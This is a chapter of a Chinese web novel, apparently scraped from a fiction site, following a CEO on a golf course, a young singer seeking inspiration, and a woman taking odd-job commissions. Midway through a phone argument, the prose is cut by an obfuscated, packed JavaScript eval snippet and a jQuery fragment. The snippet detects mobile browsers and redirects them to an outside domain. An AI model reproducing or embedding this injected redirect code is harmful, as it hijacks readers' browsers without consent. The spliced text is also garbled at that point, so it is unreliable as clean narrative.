他拿下别在胸前口袋里的眼镜,随手戴上,视野内弹出半透明文字框,藏在镜腿内侧的骨传导耳机里同步传出机械女音。 【监测到当前太阳光照强烈,紫外线辐射高,是否开启护眼模式?】 “开启。” 随着庄策的指令落下,镜片立刻覆上一层浅褐色,视野里原本耀眼到刺目的天空被校准成偏深的蓝色,草坪也更加翠绿。不论他的目光转向哪里,视野都会被等比自动放大,让他可以清晰看到果岭中的旗杆和下面的球洞。 【尊敬的用户,请问您今天的轮次是?】 “单打九洞。” 【当前风速xx米/秒,建议首杆位置选择东南向15度。】 手脚麻利的球童把高尔夫球放在庄策身前的球钉上,男人俯身持杆,力气从腰腹凝聚,顺着双臂延展到指尖,全神贯注击出一球——白色的小球御风而去,落在几米外的一点。 庄策左手腕上的智能手表轻震一下,代表着他刚才的挥杆力度、速度、角度皆被记录下来,传达到他佩戴的智能眼镜上。 在庄策连续挥杆三次后,骨传导耳机中再次响起机械女音。 【已完成第一轮运动分析,是否生成初步报告?】 “不生成。” 庄策把球杆交给球童,抬手轻敲眼镜旁的感应按钮。 “发邮件给副总alex,把我接下来的话记录成文字。” 【邮件功能开启】 “alex,我今天来打高尔夫,戴了3.0版本的眼镜和手表。这版的beta不行,全部打回去重做,搭载的ui唧唧歪歪太吵了,怎么这么多废话,好不容易精神集中起来了全被它破坏了,还有,给我取消运动时的手表震动,严重影响运球手感。你们程序部门连续加班一个月,ui越改越差,我付的三倍加班费是扔水里吗,就算扔水里也能听到点儿动静吧!” 他洋洋洒洒骂了十来分钟,骂得实在太难听,ai润色了三遍才把这封邮件写好。 邮件发出去后,庄策也没了想打高尔夫的心情。 他接过球童递过来的毛巾和水瓶,擦掉额头的细汗,忽然手表轻震起来,提醒他有电话。 电子表盘上,【庄晓梦】三个字浮现出来。 庄策眉头皱起,本来想当作没看到,但对方契而不舍,接二连三的打进电话,他实在没办法只能按下了通话键。 “有什么事?我在忙。” “下周日的家长运动会?我没时间,我们公司的新产品进入开发的最后冲刺阶段了,我离不开。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15029707|162285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你为什么不去?” “不方便?你现在知道不方便了?对啊,怎么能让你的影迷知道清纯玉女有一个已经会打酱油的孩子了呢?” “庄晓梦,你就比我早出生十五分钟!别拿你姐姐的派头压我!” “我不会去的,你哭也没用。” “你现在流的眼泪,都是当初恋爱脑上头时进的水!” “你自己想办法,我不会管的。” 最后一句话说完,庄策已经挂断电话,并且把姐姐的手机号拉入黑名单之中。 球童在旁听到知名女星的超级大八卦,战战兢兢埋下头不敢喘气。 庄策气得双手叉腰原地转了三分钟,又狠狠吃了两块巧克力,才觉得胸口压的那块石头松动。 他揉了揉太阳穴,抬手轻击眼镜。 “再发一封邮件给alex,抄送全员——取消下周日的月度会议,所有人正常放假,该回去陪对象就陪对象,该回去陪孩子就陪孩子!真是的,有家有室的,一天到晚不着家,赚再多的钱有什么用?!” …… 三米跳台上,穿着紧身泳裤的年轻人一跃而下,如一道飞鱼钻入水中。入水的一瞬间,寂静的水面隔绝了一切噪音,唯有心跳声在耳膜里震响。 他在池底潜泳数米,才慢悠悠浮出水面,双手轮换划水,泳姿舒展且优美,如一只自由自在的鱼儿,在享受水的托举。 陆之熠热爱一切极限运动,在美国生活时,他每年冬天就要去阿斯彭山滑雪,单板双板都不在话下;他青少年时还参加过u17小轮车山地比赛,拿到了相当耀眼的名次;对了,他在长滩岛度假时尝试过风筝划水,那是一种非常刺激的新兴海上运动,双脚站在冲浪板之上,双手握持一顶犹如滑翔伞的巨型风筝,在浅滩海面上御风而起,最高可腾空五六米…… 每次肾上腺素飙升的时候,灵感女神就会降临在他的身边。 可惜随着年纪渐长,陆之熠对“刺激”的阈值也逐步增高,已经没有什么人什么事什么运动,能让他心跳加速了。 这段时间,他在为一部爱情电影创作主题曲,可随着截稿日临近,他却始终没有什么进展。 虽然经纪人说,他手里的demo已经很不错了,但是“不错”和“优秀”差之千里。 他想创作出能让人感受到爱情温度的旋律,他想写出能让人铭记在心的词句。 可是,他自己都许久没有心跳飙升过,又怎么能把心跳的节奏传递给听众? ……不,不对,他最近恰好体会过一次! 陆之熠脑海中浮现出一道飒爽的身影——女骑士驾驶电动车,在车流中全力冲刺,他坐在她的后座,被寒风吹得眼泪汪汪(不是被吓得!) 只不过,陆之熠难以分清,让他产生心跳的到底是飙升的车速,还是那位不按常理出牌的姐姐? 游完一千米,陆之熠离开泳池,在长椅上躺下休息。 他头发短,像条小狗一样左右甩甩,头发就干了大半。 浴巾随意盖在腰间,遮不住年轻人健硕漂亮的身体。因为经常运动,他身上肌肉匀亭,恰到好处,线条流畅而优美,真正做到了穿衣显瘦脱衣有肉。 他拿起桌上手机,屏幕上有几条来自于经纪人的消息。 @经纪人:Zayn,你总是闷在家里写歌,灵感怎么出现? @经纪人:不如多接触接触别人。 @Zayn:哥,如果你说的“多接触别人”是让我去参加上次无聊到爆炸的晚宴的话,免谈。 @经纪人:不,我的意思是,你想不想参加综艺? @Zayn:……? @经纪人:我这里有年轻人恋爱观察类综艺、中年夫妻离婚观察类综艺、猜一猜谁是兄妹谁是暧昧对象的观察类综艺……这些收视率都很高,非常火的! 陆之熠大为震惊,他回国之前就听说国内的生育率连年下降,没想到为了促进三胎,电视台居然能一口气弄出这么多的恋爱综艺。 这世界上的男女除了恋爱以外就没有别的事情可做了吗? @经纪人:你不是要写情歌嘛,所以我才给你安排了这些综艺。 @Zayn:哥,那我给推理电影写主题曲,是不是也要先看几期法治综艺? @经纪人:…… @经纪人:我这里还有其他一些候选,你看看有没有感兴趣的。 @经纪人:【分享列表】 陆之熠的目光快速从长长的列表上列过,突然定格在其中一档名字上。 @Zayn:就【这个】综艺吧,我觉得挺有意思。 …… 叔叔家的餐桌旁,颜玉琢放下酒杯,点开手机,查阅自己下周的工作安排。 【委托人:@庄生晓梦迷蝴蝶 委托内容:因个人工作繁忙,诚聘一位形象好、气质佳的女士,代替我本人去参加孩子的家长运动会。下周六10:00,JS国际学校小学部。】 咦……居然又是JS国际学校小学部,那不是小野猪的学校吗?如果她接了这单工作,会不会再见到那个横冲直撞的小家伙? 【委托人:@ZZZZZayn 委托内容:助理姐姐,好不容易才在这个app上找到你。我的经纪人擅作主张给我接了一档美食真人秀,需要我现场做菜。可我只会做白人饭,姐姐你能教我做几道简单又美味的中式家常菜吗?】 这个id是陆之熠?他们分别时,颜玉琢对那个开朗的年轻人开玩笑,说“有钱能使我推磨,有活儿记得找我”,没想到他们真的这么快又能见面了。 这两单工作报酬都不低,颜玉琢欣然接受。 若是加上妹妹的代课委托,颜玉琢又要度过忙碌的一周了。 不错,真是财源广进啊。